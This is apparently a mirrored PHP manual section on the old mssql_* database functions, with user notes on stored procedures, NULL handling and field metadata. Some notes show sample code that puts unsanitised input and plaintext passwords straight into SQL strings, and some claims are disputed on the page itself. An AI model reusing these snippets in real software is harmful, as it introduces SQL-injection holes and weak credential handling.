   $MSSQL_types[98]  = SQLVARCHAR; /* sql_variant*/    // Adaptation
   $MSSQL_types[189] = SQLINT4;    /* timestamp*/      // Adaptation
   $MSSQL_types[165] = SQLVARCHAR; /* varbinary*/      // Adaptation
}

/* <font color="#007f00">Gets current connection systypes and shows this:

$MSSQL_types[systypes..xtype] = PutPHPSqlTypeHere  // Name_in_systypes //

</font>*/
function mssql_get_types(){
   $res = mssql_query('select name,xtype from systypes');
   echo('<pre><CODE>');
   while(($val = mssql_fetch_assoc($res))){
     echo('$MSSQL_types['.$val['xtype']."]\t= ;\t/* ".$val['name']." */\n");
   }
   print_r(phpinfo(INFO_VARIABLES));
   echo('</CODE></pre>');
}

?>
iqq-pp at extreme dot ro
30-Oct-2003 07:01
php version 4.3.2

Take care when using stored procedures returning multiple results, seems that if the first result is empty, the pointer will be automatically moved to the next result. As in this example:

CREATE PROCEDURE test
AS
SELECT 0 as zero WHERE 0 = 1
SELECT 1 as one
GO

After executing the stored procedure, mssql_num_rows will report one, ignoring the first result.
eliseo at olografix dot org
13-Oct-2003 01:23
After many attempt I resolved the return output of a store procedure on Win2003 box, MSSQL7 and PHP 4.3.
I have problem to process the result from store procedure strCheckUser, and I must to set a R variable, that must be returned from the last select operation (Select @R as R) see below.

----------------------------
/*
Store procedure to CheckUser Exist
*/
CREATE PROC strCheckUser
(
@AccountLO varchar(20) ,
@PasswordLO varchar(20)
)
AS
BEGIN
DECLARE @R INT
IF (SELECT count(*) as count FROM tbl_users WHERE AccountLO = @AccountLO and PasswordLO=@PasswordLO
) = 0
SET @R = '0'
END

BEGIN
IF (SELECT count(*) as count FROM tbl_users WHERE AccountLO = @AccountLO  and PasswordLO=@PasswordLO
) = 1
SET @R = '1'

END

Select @R as R

GO
-------------------------

This is the php page
<?

.....
.....
$AccountLO="myuser";
$PassowrdLO="mypass";

$result=mssql_query("strCheckUser ".$AccountLO.", ".$PasswordLO."");
//echo gettype($result);
$arr = mssql_fetch_assoc($result);
echo $arr["R"];

......
......
?>

No $arr["R"] print 1 if the user exist and 0 if no exist

Thanks to duarte at uma dot pt for the suggestion
Bye eliseo@olografix.org
gstratfordATdas.ca
07-Aug-2003 04:25
The easiest way to use a stored procedure is:

$Result = mssql_query("StoredProcedureName Var1, Var2, Var3...");

$Result is then just like any other result set. You can get the output parameters by:

$arr = mssql_fetch_row($Result);

$OutputParam1 = $arr[0];
$OutputParam2 = $arr[1];
brian_caughlin at hotmail dot com
07-Aug-2003 02:04
Regarding Output Parameters and RETVAL: A change that appears to have begun around 4.3.

According to the documentation and previously posted comments, if a stored procedure returns only one Recordset, you could retrieve the RETVAL and Output Params right away.  THIS IS NO LONGER THE CASE.  Beginning around 4.3, you must always use the mssql_next_result() function if any recordset is returned at all.

If you consider the example posted below by fjortizATcomunetDOTes on 26-Dec-2001...

[...]

// Execute the Stored Proc
$result=mssql_execute($stmt);

// Get the recordset
$arr=mssql_fetch_row($result);
print ("Answer: " . $arr[0] . "
" );

// NEW for 4.3: Switch to the next Recordset
// Since there was only one recordset, it will return false...
mssql_next_result($result);

// And now RETVAL and Output Params are accessible...
print ("RETVAL = $val ; intval = $ival ; floatval = $fval ; string = $sval");

[...]

There is also another way, and that is to use a new optional skip parameter on the execute.

mssql_execute($stmt, true);

This appears to ignore any recordsets, allowing you to get at the retval and output parameters immediately.

For more information, please see Bug #21089.
arnarb at oddi dot is
27-Apr-2003 11:13
The above comment is probably outdated by now. I've been using mssql_init, mssql_bind and mssql_execute with good results on my Linux box, both with MSSQL 7.0 and 2000.

My webserver is running Apache 1.3.24 with PHP 4.3.2-RC1 (this also works in 4.3.1) linked against an out-of-the-box build of FreeTDS 0.61.

However, it should be mentioned here that the latest release (4.3.2-RC1) contains some bugs in the mssql_bind code. For one thing, the size of the buffer is not set correctly so unpatched, php coredumps when binding types of fixed length (SQLINT* and such).
When binding types of variable length, such as strings (SQLVARCHAR and SQLCHAR for example), the _current_ string length is used to choose the buffer size instead of using the optional parameter $maxlen. To make this clearer: if you have a stored procedure that simply sets one of its output parameters to "Fixed string", this happens:

$stringvariable = "";
mssql_bind($statement, "@outputparam", $stringvariable, SQLVARCHAR);
mssql_execute($statement);
// $stringvariable now contains ""

and

$stringvariable = "xxxx";
mssql_bind($statement, "@outputparam", $stringvariable, SQLVARCHAR);
mssql_execute($statement);
// $stringvariable now contains "Fixe"

so the quick ugly hack is to initialize $stringvariable to a string longer than the one you expect to be returned.

The tedious but nicer hack is to find the line
   datalen=Z_STRLEN_PP(var);
in the function PHP_FUNCTION(mssql_bind) in php_mssql.c (around line 1970) and change it to:
   datalen=maxlen;
and recompile :o) (note that this fails though when maxlen isn't specified in the PHP script)
duarte at uma dot pt
12-Apr-2002 04:22
Solution to execute MSSQL Stored Procedures in PHP Linux :

The functions mssql_* in PHP Win are no equal to mssql_* in PHP Linux

In Linux the functions for mssql_*  in PHP are just ALIAS of the sybase functions. You can see that if you consult the PHP Source files or go to PHP CVS.

And because of this, some functions are available in PHP Win an not in PHP Linux. Like mssql_execute(), mssql_init(), ...

The solution to work with MS-SQL stored procedures in PHP Linux Server is to:
1- Execute the stored procedure with: "mssql_query( "EXECUTE stored_procedure_1(@a,@b) " ,$vi_connect )
2- And in the stored procedure you cant get the returned parameters in the normal way, you must do "Select @a as a, @b as b " and the end of the code of your stored procedure.
3- After, you can use mssql_fetch_array to get the result of the stored procedure.

This is working in project with
Database Server:
   Windows 2000 + MS-SQL Server 7.0
Web Server
   SUSe Linux 7.0 + Apache 1.3.19 + PHP 4.1.6 ( with freetds-0.53  )

I hope this helps someone !
fjortizATcomunetDOTes
26-Dec-2001 10:01
After initializing a stored procedure
with mssql_init, and binding all the
parameters (and return value if needed)
with mssql_bind, you can execute the
statement with mssql_execute.

Parameters:
- stmt: statement resource obtained with
mssql_init.

From here, you can use any of the other
mssql_* functions to retrieve the
recordsets as if you had called
mssql_query. Any T-SQL error will also
be reported in the same way. The
variables passed by reference for OUTPUT
and RETVAL parameters will be filled
with the right values.

Now, an example:

if we have this procedure:

CREATE PROCEDURE [procedure]
(
   @sval varchar(50) OUTPUT,
   @intval int OUTPUT,
   @floatval decimal(6,4) OUTPUT
) AS

if @intval is null
   select '@intval is null' as answer
else
   select '@intval is NOT null' as answer

set @sval='Hello ' + @sval
set @intval=@intval+1
set @floatval=@floatval+1

return 10

We can use this PHP code:

<?php

$conn=mssql_connect("myhost","user","pwd");

if ($conn) {
   mssql_select_db("mydb",$conn);

   $stmt=mssql_init("procedure",$conn);
   mssql_bind($stmt,"RETVAL",&$val,SQLINT4);

   $ival=11;
   $fval=2.1416;
   $sval="Frank";

   mssql_bind($stmt,"@sval",&$sval,SQLVARCHAR,TRUE);
   mssql_bind($stmt,"@intval",&$ival,SQLINT4,TRUE);
   mssql_bind($stmt,"@floatval",&$fval,SQLFLT8,TRUE);

   $result=mssql_execute($stmt);

   $arr=mssql_fetch_row($result);
   print ("Answer: " . $arr[0] . "<br>" );
   print ("RETVAL = $val ; intval = $ival ; floatval = $fval ; string = $sval");

   mssql_close($conn);
}
else print("ooops!");
?>

Hope it helps. Good luck!
add a note add a note

后退 | 起点 | 前进
mssql_data_seek | 上一级 | mssql_fetch_array


mssql_fetch_array

(PHP 3, PHP 4, PHP 5)

mssql_fetch_array -- Fetch a result row as an associative array, a numeric array, or both

Description

array mssql_fetch_array ( resource result [, int result_type] )

Returns: An array that corresponds to the fetched row, or FALSE if there are no more rows.

mssql_fetch_array() is an extended version of mssql_fetch_row(). In addition to storing the data in the numeric indices of the result array, it also stores the data in associative indices, using the field names as keys.

An important thing to note is that using mssql_fetch_array() is NOT significantly slower than using mssql_fetch_row(), while it provides a significant added value.

注: 本函数返回的字段名是区分大小写的。

注: 本函数对 PHP NULL 值设定 NULL 字段。

For further details, also see mssql_fetch_row().

add a note add a note User Contributed Notes
admin at talente dot ro
19-Oct-2005 11:36
There is any option like skip or go next ! I am using a while clause inside:
  While ($row=mysql_fetch_array($result))
   while ($row["Brand_name"]=$gr){
     ....
So I am printing different TD from classes and when I finish cycling the fields I want to "skip" to next record !
gillis dot phpmanual at no-spam-for-megillis dot fi
06-Jul-2005 04:19
Allthough probably obvious to people who have used the functions available to other databases it during writing is not present in this entry that result type can be entered as MSSQL_ASSOC or MSSQL_NUM, and the default value when nothing entered being MSSQL_BOTH

//Gillis Danielsen
29-Dec-2004 04:58
The last comment is false. For BIT fields NULL values are returned as '0', but also the 0 value is returned as '0'. We didn't find a way to distinguish NULL values from 0 values in BIT fields.
29-Dec-2004 12:16
For fields of the type BIT, the NULLs are distinguishable from 0 values by the next statement:

<?php
if ($bitValue === '0') {
   echo 'This is a SQL-server NULL value for a bit field';
} else {
   echo 'Value is not null';
}
?>

In the fields of type BIT this: ($strValue === null) won't work.

PHP 4.2.3 as ISAPI on Windows 2000 Server/SQL Server 2000
archwisp at gmail dot com
26-Oct-2004 10:44
In response to my last post:

After further testing, it appears as though the null column bug only affects windows installations. On my linux installation using freetds-0.61.2, the function behaves properly. It must exist either in the php_mssql.dll or the Microsoft connection libraries. And since I use this functionality through ASP as well (which uses the Microsoft connection libraries), it would lead me to believe that it's an issue within the php_mssql.dll.
archwisp at gmail dot com
26-Oct-2004 05:28
[Editor's Note: NULLs *are* distinguishable from 0.  See the manual section on comparison operators. ]

microsoft sql 2000 server
php running on windows 2000

Using the $row = mssql_fetch_array($result)

A null value will return 0, this is a problem if you are using 0 and some identifier for a value.  you should convert all nulls to something like -1 or "NO VALUE"

******

After extensive testing, the above statements both seem to be true. You *can* distinguish between 0 and null values in PHP; however, the mssql_fetch_array function does not set null colums to the php NULL value.

if ($row['Null_Column'] === 0) { print('pass'); }

A null column passes the above test. Seems to be a bug in the function.
Derek Ethier
25-Feb-2004 07:06
The array_walk function is also useful for stripping the whitespace returned in an mssql_query.

function modify_field(&$array) {
   $array = trim($array);
}

$query = "select * from dbo.table where value = '0'";
$result = mssql_query($query) or die;

while ($row = mssql_fetch_array($result)) {
   // This will call the above function.
   array_walk($row, 'modify_field');
   array_push($eventresults, $row);
}

An added benefit is that you can expand the modify_field function to handled unexpected returned column data.
hackajar matt yahoo trot com
24-Jan-2004 07:11
from php-dev mailing list article -
#26012 [Bgs]: mssql_fetch_array

"Previously mssql data was always rtrimed, however that's wrong because it modifies the original data. This caused a problem for people who needed those trailing space. Ultimately, the job of database extension is to fetch the data as is (like other db extensions already do) and not to mangle it in any way."

moving from <4.3.4 to a higher version you will have this now:

$query = "Select dumb_spaces from dbo.table where weak_sause = 'true'";
$result = mssql_query($query) or die("Spicy Sause! Query = $query");

while($line = mssql_fetch_array($result, MSSQL_ASSOC) {
     foreach($line as $bs_trim) {
         //Trim whitespace from end of query
         $bs_trim = rtrim($bs_trim);
         echo "Clean!".$bs_trim;
     }
}
herriedm at yahoo dot com
26-Jun-2003 12:21
[Editor's Note: NULLs *are* distinguishable from 0.  See the manual section on comparison operators. ]

microsoft sql 2000 server
php running on windows 2000

Using the $row = mssql_fetch_array($result)

A null value will return 0, this is a problem if you are using 0 and some identifier for a value.  you should convert all nulls to something like -1 or "NO VALUE"
flatcable2000 at yahoo dot com
16-Jan-2003 01:22
Apparently php 4.0.6 does not support the second parameter. When used the error sounds
"Wrong parameter count for mssql_fetch_array"
shaver at qspeed dot com
11-Jan-2003 06:08
Note that the second parameter is the same as the msql version of this function (http://www.php.net/manual/en/function.msql-fetch-array.php) with the constants (MSQL_ASSOC, MSQL_NUM, and MSQL_BOTH) changing to MSSQL_.

Also note that if you don't specify this parameter you'll get both the numbers and column names, which can cause some frustration.
ask at manniac dot de
05-Jun-2002 09:13
It seems that this function creates arrays wich keys can not be longer than 30 chars. So when you're having a DB-field like "this_is_a_very_long_db_field_name"
its array-key is cut off after 30 chars and you will have to access the value with
rs["this_is_a_very_long_db_field_n"]
add a note add a note

后退 | 起点 | 前进
mssql_execute | 上一级 | mssql_fetch_assoc


mssql_fetch_assoc

(PHP 4 >= 4.2.0, PHP 5)

mssql_fetch_assoc -- Returns an associative array of the current row in the result set specified by result_id

Description

array mssql_fetch_assoc ( resource result_id )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
electricsurfer.com
02-Dec-2003 12:38
WARNING:

PHP 4.3.4 introduced a BUG.

if the DB has: '' (empty string)
this function will return: ' ' (string with 1 space)

see: http://bugs.php.net/bug.php?id=26315
php at electricsurfer dot com
04-Jun-2003 02:34
WARNING: as of PHP 4.3.2

The keys in the array will only contain the 1st 30 characters of the column name if you have column names longer than that.
add a note add a note

后退 | 起点 | 前进
mssql_fetch_array | 上一级 | mssql_fetch_batch


mssql_fetch_batch

(PHP 4 >= 4.0.4, PHP 5)

mssql_fetch_batch -- Returns the next batch of records

Description

int mssql_fetch_batch ( resource result_index )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
cassano at monroe dot net
21-Jun-2003 04:44
int mssql_fetch_batch ( int result)

Returns: The number of rows for this batch

This works with the php.ini option 'mssql.batchsize' to limit the number of rows that are buffered in memory.

i.e.

// Batch 10000 records in the buffer at a time
ini_set('mssql.batchsize', 10000);

$resDb = mssql_connect(...);
$result = mssql_query('SELECT * FROM MYTABLE', $resDb);

$intNumRows = mssql_num_rows($result);

while ($intNumRows > 0)
{
   while ($arrRow = mssql_fetch_assoc($result))
   {
         // Do stuff ...
   }

   $intNumRows = mssql_fetch_batch($result);
}
add a note add a note

后退 | 起点 | 前进
mssql_fetch_assoc | 上一级 | mssql_fetch_field


mssql_fetch_field

(PHP 3, PHP 4, PHP 5)

mssql_fetch_field -- Get field information

Description

object mssql_fetch_field ( resource result [, int field_offset] )

Returns an object containing field information.

mssql_fetch_field() can be used in order to obtain information about fields in a certain query result. If the field offset isn't specified, the next field that wasn't yet retrieved by mssql_fetch_field() is retrieved.

The properties of the object are:

  • name - column name. if the column is a result of a function, this property is set to computed#N, where #N is a serial number.

  • column_source - the table from which the column was taken

  • max_length - maximum length of the column

  • numeric - 1 if the column is numeric

  • type - the column type.

See also mssql_field_seek().

add a note add a note User Contributed Notes
huszti_dot_roland_at_freemail_dot_com
11-May-2006 08:51
For really detailed table information, use syscolumns, like this:

SELECT c.name, c.prec, c.scale, t.name type
  FROM syscolumns c, systypes t, sysobjects o
  WHERE o.name = 'yourtablename' AND o.id = c.id AND c.xtype = t.xtype

For other properties see the MS SQL online help. Search for 'syscolumns'.

Or an another solution:

sp_columns @table_name = 'yourtablename', @column_name = 'thecolumnname'
//no "select ..." !!!!

This gives info about only the specified column.
php_rindern_de
25-Oct-2004 04:36
commenting Reynard Hilman:

for me it looks like the colstat field value of 1 in syscolumns table indicates an Identity Column.
Reynard Hilman
23-Oct-2003 10:40
If you want to describe table structure (like mysql 'desc table' command), sending this query might help:
<?
$sql = "SELECT c.name, c.isnullable, c.length, c.colstat, t.name type
  FROM syscolumns c, systypes t, sysobjects o
  WHERE o.name = '$table' AND o.id = c.id AND c.xtype = t.xtype";
?>
I suspect the colstat field in syscolumns table indicates primary key when its value is 1
bmaddy_at_class_dot_umn_dot_edu
30-Apr-2003 10:41
Be aware that this function will only return the first 30 characters of the name of the column.  If the actual column name is longer, it will be truncated.  This is at least true with the following setup:
PHP 4.3.1
MSSQL 8.00.760

Have a good day everyone!
Brian
alonf at spiralsolutions dot com
28-Nov-2002 06:47
As kubalaa at bigfoot dot com note mssql_fetch_field->column_source return field name instead table name also with MSSQL2000 connection. Be adwised!!!
pong at taft dot org
16-Mar-2002 09:07
When you mssql_fetch_field(int result), you need to do loop to get the name of each field.  Something like:

while($fld = mssql_fetch_field($rs)){
       echo $fld->name . "<br>";
   }

I am wondering why we cannot refer it by a field number.
mdean at kcnet dot com
02-Jul-2001 06:33
A quicker query to retrieve table names from the database:

select name from sysobjects where type='u'
skipsey at hotmail dot com
08-Feb-2001 11:58
It seems fairly hard to get a list of the tables from your database using MSSQL but this seems to do the trick. This is set to get only the User Tables and ignores the sytem tables.

   function GetField($res,$field,$number) {
   return stripSlashes(mssql_result($res,$number,"$field"));
   }

mssql_connect("server","","") or die ("help me!");
mssql_select_db("") or die ("Noooo!");

$result = mssql_query ("sp_tables");
$fields = mssql_num_fields ($result);
$rows  = mssql_num_rows ($result);

for ($f=0; $f<$rows; $f++) {

   $CHKTYPE=GetField($result,"TABLE_TYPE",$f);

       if($CHKTYPE=='TABLE'){

           //$name = mssql_fetch_field($result, 2);
           $field=GetField($result,"TABLE_NAME",$f)."<br>";

           echo $field;

               }
           }
kubalaa at bigfoot dot com
05-Apr-2000 06:58
Using this function with MSSQL 7, $returned->column_source is the column name, not the table name as it should be.
add a note add a note

后退 | 起点 | 前进
mssql_fetch_batch | 上一级 | mssql_fetch_object


mssql_fetch_object

(PHP 3, PHP 4, PHP 5)

mssql_fetch_object -- Fetch row as object

Description

object mssql_fetch_object ( resource result )

Returns: An object with properties that correspond to the fetched row, or FALSE if there are no more rows.

mssql_fetch_object() is similar to mssql_fetch_array(), with one difference - an object is returned, instead of an array. Indirectly, that means that you can only access the data by the field names, and not by their offsets (numbers are illegal property names).

注: 本函数返回的字段名是区分大小写的。

注: 本函数对 PHP NULL 值设定 NULL 字段。

Speed-wise, the function is identical to mssql_fetch_array(), and almost as quick as mssql_fetch_row() (the difference is insignificant).

See also mssql_fetch_array(), and mssql_fetch_row().

add a note add a note User Contributed Notes
rubin at afternet dot org
21-Jan-2005 09:13
It is important to point out that the result of both
SELECT ' '
and
SELECT ''

is the string ' '.

That is, the php mssql functions will return a phantom space for any empty strings.

See http://bugs.php.net/bug.php?id=26996 and http://bugs.php.net/bug.php?id=25777

PHP does not classify this as a "bug" because the MS DBLib cannot tell the difference betwene the two cases. Earlier versions of php trim'd strings automatically.

It may be a good idea to ltrim and rtrim your results in some cases.
klystofer at brturbo dot com
11-Jul-2003 01:42
<?php

/*
A simple example using mssql_fetch_object
*/

$conexao = mssql_connect("myServer","myUser","myPass");
mssql_select_db("myDB",$conexao);

$query = mssql_query("SELECT EMPRESA FROM IDENTIFICACAO ORDER BY EMPRESA;");

while ($retorno = mssql_fetch_object($query))
   echo "Empresa:" . $retorno->EMPRESA;

?>
add a note add a note

后退 | 起点 | 前进
mssql_fetch_field | 上一级 | mssql_fetch_row


mssql_fetch_row

(PHP 3, PHP 4, PHP 5)

mssql_fetch_row -- Get row as enumerated array

Description

array mssql_fetch_row ( resource result )

Returns: An array that corresponds to the fetched row, or FALSE if there are no more rows.

mssql_fetch_row() fetches one row of data from the result associated with the specified result identifier. The row is returned as an array. Each result column is stored in an array offset, starting at offset 0.

Subsequent call to mssql_fetch_row() would return the next row in the result set, or FALSE if there are no more rows.

注: 本函数对 PHP NULL 值设定 NULL 字段。

See also
mssql_fetch_array(),
mssql_fetch_object(),
mssql_data_seek(),
mssql_fetch_lengths(), and
mssql_result().

add a note add a note User Contributed Notes
zombie(at)artattack(dot)to
06-Dec-2003 05:50
It seems that when you use the MSSQL fetch_* functions you need to manually reset the $result 's internal pointer when doinging a while loop.

i.e.the below seems to only print out the first set. I don't remember this being the case with mysql, but it makes sense that it would do the same.

while ($or_date_info = mssql_fetch_assoc($result)){
 echo '1st pass<BR>';
 print_r($or_date_info);
}
while ($or_date_info = mssql_fetch_assoc($result)){
  echo '2nd pass<BR>';
  print_r($or_date_info);
}

Blaine Garrett
http://artattack.to?zombie
siivv at yahoo dot com
25-Apr-2002 06:35
jus do this instead.. no for loop necessary

while($line = mssql_fetch_row($result)){
print "$line[0],$line[1]";  // etc.
}

no need to have a whole extra variable $i tossed in
will_ <sql at mookandblanchard dot com>
02-Feb-2002 02:44
It took me way too long to notice the MySQL error in the note above (way tooo late and not enough sleep).  Here's what I hacked up:

<?php
$hostname = "localhost";
$username = "username";
$password = "password";
$dbName = "database";

MSSQL_CONNECT($hostname,$username,$password) or DIE("DATABASE FAILED TO RESPOND.");
mssql_select_db($dbName) or DIE("Table unavailable");

$query = "SELECT * FROM dbo.table";

$result = mssql_query( $query );

for ($i = 0; $i < mssql_num_rows( $result ); ++$i)
     {
         $line = mssql_fetch_row($result);
         print( "$line[0] - $line[1]\n");
     }
?>

Thanks,

will_  @ irc.openprojects.net#php
add a note add a note

后退 | 起点 | 前进
mssql_fetch_object | 上一级 | mssql_field_length


mssql_field_length

(PHP 3 >= 3.0.3, PHP 4, PHP 5)

mssql_field_length -- Get the length of a field

Description

int mssql_field_length ( resource result [, int offset] )

This function returns the length of field no. offset in result result. If offset is omitted, the current field is used.

Note to Win32 Users: Due to a limitation in the underlying API used by PHP (MS DbLib C API), the length of VARCHAR fields is limited to 255. If you need to store more data, use a TEXT field instead.

add a note add a note User Contributed Notes
09-Feb-2005 05:56
You can also work around this limitation with the following:

   -- for example, with MyVarCharField VARCHAR(1000)
   SELECT CAST(MyVarCharField AS TEXT) FROM MyTable
add a note add a note

后退 | 起点 | 前进
mssql_fetch_row | 上一级 | mssql_field_name


mssql_field_name

(PHP 3 >= 3.0.3, PHP 4, PHP 5)

mssql_field_name -- Get the name of a field

Description

string mssql_field_name ( resource result [, int offset] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
php at electricsurfer dot com
04-Jun-2003 03:18
WARNING: as of PHP 4.3.2

Only returns 1st 30 characters of fieldname.
harold at worby dot dns2go dot com
06-Mar-2002 05:29
A simple script to walk through an MSSQL server.
I'm using PHP 4.06 and Freetds 5.1 on Solaris 2.7 and Apache 1.3
Several of the msql_ functions seem to be broken/missing.
This is what I found to work.

<?php
// --------------------------------------------------------
// URL http://server/mssqltest.php?DB=Database&table=TableName
// --------------------------------------------------------
// Default settings: edit to meet your needs
if (!($user)) $user=sa;
if (!($pass)) $pass="password";
if (!($host)) $host="acer900";
// --------------------------------------------------
// connect to mssql server
$connect = mssql_connect($host,$user,$pass) or die ($host." not accessible.");
// select the database
if ($DB) mssql_select_db($DB)or die('USE '.$DB.' failed!');
if (!($table)) {
   $query="EXEC sp_tables \"%\",\"%\",\"".$DB."\",\"'TABLE'\"";
   $linkcol=2;
   $linkcol="TABLE_NAME";
$linkformat=" <a href=\"%s?DB=".$DB."&table=%s\">%s</a> ";
}else{ // tables and DB - Get DATA
   $query="SELECT * FROM ".$table;
   $linkformat=" <a href=\"%s\">%s</a> ";
}
if (!($DB))    {
   $query="EXEC sp_databases";
   $linkcol=0;
   $linkcol="DATABASE_NAME";
   $linkformat="<a href=\"%s?DB=%s\">%s</a>";
}

// run query
echo $query."<br>";
$result = mssql_query( $query) or die('Query failed!');
$fields = mssql_num_fields ($result) or die("Num Fields Failed");
$rows  = mssql_num_rows ($result);

echo "<br>Rows ".$rows." Fields ".$fields."<br>";
echo "<TABLE border=1><tr>";
// get field names
for ( $f = 0 ; $f < $fields ; $f++ ){
   $name = mssql_fetch_field($result, $f);
   echo "<td>".$f.$name->name."</td>";
// Strange here.. without the "X"'s the () is always TRUE??
   if ($name->name."X" == $linkcol."X") $linkcol = $f;
}
echo "</tr>";
//Display Data
for ($i = 0; $i < $rows ; $i =$i +1){
   for ($f = 0; $f<$fields ; $f++){
       $name=mssql_result($result,$i,$f);
       if ($f == $linkcol){
printf("<td>".$linkformat."</td>\n",$PHP_SELF,
 $name , $name );
       }
       else{
           echo "<td>". $name . "</td>";
       }
   }
echo "</tr>";
}
echo "</TABLE><br>";

// close connection
mssql_close ($connect);
?>
tengel at sonic dot net
08-Oct-2000 10:43
This function isn't supported (PHP 4.0.2) if using Sybase/FreeTDS to access SQLServer (linux/solaris/bsd/etc).  Instead, use "mssql_fetch_field()" like so:

$field_name = mssql_fetch_field($query_result, $field_number);
print $field_name->name;
add a note add a note

后退 | 起点 | 前进
mssql_field_length | 上一级 | mssql_field_seek


mssql_field_seek

(PHP 3, PHP 4, PHP 5)

mssql_field_seek -- Seeks to the specified field offset

Description

bool mssql_field_seek ( resource result, int field_offset )

Seeks to the specified field offset. If the next call to mssql_fetch_field() won't include a field offset, this field would be returned.

如果成功则返回 TRUE，失败则返回 FALSE。

See also mssql_fetch_field().

add a note add a note User Contributed Notes
kevin_tom at hotmail dot com
16-May-2004 05:47
Don't know this would help.
If you are using mssql to loop through a web page. Here is how to do it:
Suppose you want to select a few fields from t1 joining to t2

$numPerPage=10;
if(empty($offset))
  $offset=0;
if($next_x){
  $offset+=$numPerPage;
}
if($previous_x){
  $offset-=$numPerPage;
}

$qry_string = "SELECT DISTINCT TOP $numPerPage t1.field1, t1.field2 from t1 LEFT
JOIN t2 ON t2.field1=t1.field1
WHERE t2.another_field='specific_val'
AND t1.fields
NOT IN
(SELECT DISTINCT TOP $offset tmpT1.field1
FROM t1 AS tmpT1 LEFT
JOIN t2 ON t2.field1=tmpT1.field1
WHERE t2.another_field='specific_val'
)";

// then run the above $qry_string using the while loop
add a note add a note

后退 | 起点 | 前进
mssql_field_name | 上一级 | mssql_field_type


mssql_field_type

(PHP 3 >= 3.0.3, PHP 4, PHP 5)

mssql_field_type -- Gets the type of a field

Description

string mssql_field_type ( resource result [, int offset] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
huib at bestia dot com
27-May-2005 06:18
If you need a more detailed discription of your column type,

This query shows your true datatypes like:

binary => binary
varbinary => varbinary
varchar => varchar
bit => bit
char => char
datetime => datetime
smalldatetime => smalldatetime
decimal => decimal
real => real
float => float
tinyint => tinyint
smallint => smallint
smallmoney => smallmoney
money => money
nchar => nchar
ntext => ntext
text => text
numeric => numeric
nvarchar => nvarchar

SELECT    sysobjects.name AS tableName, syscolumns.name AS columnName, systypes.name AS columnType
FROM        sysobjects INNER JOIN
                     syscolumns ON sysobjects.id = syscolumns.id INNER JOIN
                     systypes ON syscolumns.type = systypes.type AND syscolumns.xusertype = systypes.xusertype
nicholas at silverorange dot com
24-Mar-2005 10:39
The matching returned values for each of the common datatypes are:

binary => blob
varbinary => blob
varchar => char
bit => bit
char => char
datetime => datetime
smalldatetime => datetime
decimal => real
real => real
float => real
tinyint => int
smallint => int
smallmoney => money
money => money
nchar => char
ntext => text
text => text
numeric => numeric
nvarchar => char
rmorales at protel dot net dot mx
18-Jun-2003 02:46
Here i have an usable code for all u:

   I wanted to know if a field is nullable or if it's defined as a primary key, here are those functions definitions:

*Aditional Notes:
   if any of the tables are replicated in another database exactly , this code will not work well.

//-----to know if a field is nullable-------
function mssql_field_nullable($ip,$user,$pass,$table,$field)//starting from 1st field
{
     $conn=mssql_connect($ip,$user,$pass)or die;
     mssql_select_db('master');
     $result=mssql_query("SELECT syscolumns.isnullable
FROM sysobjects INNER JOIN
   syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.name ='$table' AND syscolumns.isnullable = 1");
     $x=mssql_num_rows($result);
     mssql_close($conn);
     return ($x==1?1:0);

}
//-------to know if a field is a primary key-------
function mssql_field_key($ip,$user,$pass,$table,$field)//starting from 1st field
{
     $conn=mssql_connect($ip,$user,$pass)or die;
     mssql_select_db('master');
     $result=mssql_query("SELECT sysindexkeys.colid FROM sysobjects INNER JOIN sysindexkeys ON sysobjects.id = sysindexkeys.id WHERE sysobjects.name ='$table' AND sysindexkeys.colid = $field");
     $x=mssql_num_rows($result);
     mssql_close($conn);
     return ($x==1?1:0);

}
by R.M.R.A
add a note add a note

后退 | 起点 | 前进
mssql_field_seek | 上一级 | mssql_free_result


mssql_free_result

(PHP 3, PHP 4, PHP 5)

mssql_free_result -- Free result memory

Description

bool mssql_free_result ( resource result )

mssql_free_result() only needs to be called if you are worried about using too much memory while your script is running. All result memory will automatically be freed when the script ends. You may call mssql_free_result() with the result identifier as an argument and the associated result memory will be freed.

add a note add a note User Contributed Notes
27-Jul-2005 05:56
Bug #33877      When multiple result sets are not freed subsequent queries fail
add a note add a note

后退 | 起点 | 前进
mssql_field_type | 上一级 | mssql_free_statement


mssql_free_statement

(PHP 4 >= 4.3.2, PHP 5)

mssql_free_statement -- Free statement memory

Description

bool mssql_free_statement ( resource statement )

mssql_free_statement() only needs to be called if you are worried about using too much memory while your script is running. All statement memory will automatically be freed when the script ends. You may call mssql_free_statement() with the statement identifier as an argument and the associated statement memory will be freed.

See also mssql_bind(),
mssql_execute(), and
mssql_init()

add a note add a note User Contributed Notes
mitch at 1800radiator dot kom
24-Mar-2005 02:02
Maybe it's unique to my FreeTDS configuration, but if I don't call mssql_free_statement() after every stored procedure (i.e. mssql_init, mssql_bind, mssql_execute, mssql_fetch_array), all subsequent stored procedures on the same database connection will fail.

I only mention it because this man-page deprecates the use of mssql_free_statement(), saying it's only there for run-time memory concerns.  At least in my case, it's also a crucial step in the process of running a stored procedure.  If anyone else has problems running multiple stored procedures on the same connection, I hope this helps them out.
add a note add a note

后退 | 起点 | 前进
mssql_free_result | 上一级 | mssql_get_last_message


mssql_get_last_message

(PHP 3, PHP 4, PHP 5)

mssql_get_last_message -- Returns the last message from the server

Description

string mssql_get_last_message ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
rodflash at rodflash dot com
23-Feb-2006 08:29
If you want to view the last ID inserted, mssql_get_last_message() will not return this.
MySQL have a function mysql_insert_id() that returns it. MSSQl don't.
To resolve this, you must run this query:

$query="SELECT @@IDENTITY as last_insert_id"
mssql_query($query, $connection);

and it will return the last ID inserted in the database.
NOjewlfSPAM at NOattSPAM dot net
29-Jul-2005 10:48
As Klaus pointed out earlier, the command MSSQL_GET_LAST_MESSAGE() only returns the last line of an error message and that may not be enough for debugging.

I had a failing MSSQL_QUERY returning "the statement has been terminated" via MSSQL_GET_LAST_MESSAGE() so I tried Klaus' technique to get more information.

Unfortunately, the connection to the database was also being broken, keeping Klaus' technique from looking up the error number.

The solution to my case was to increase the PHP timeout for MSSQL queries from the default 60 seconds to 300 by adding this to PHP.INI:

mssql.timeout = 300
jessicax at mymelody dot com
12-Jul-2005 11:44
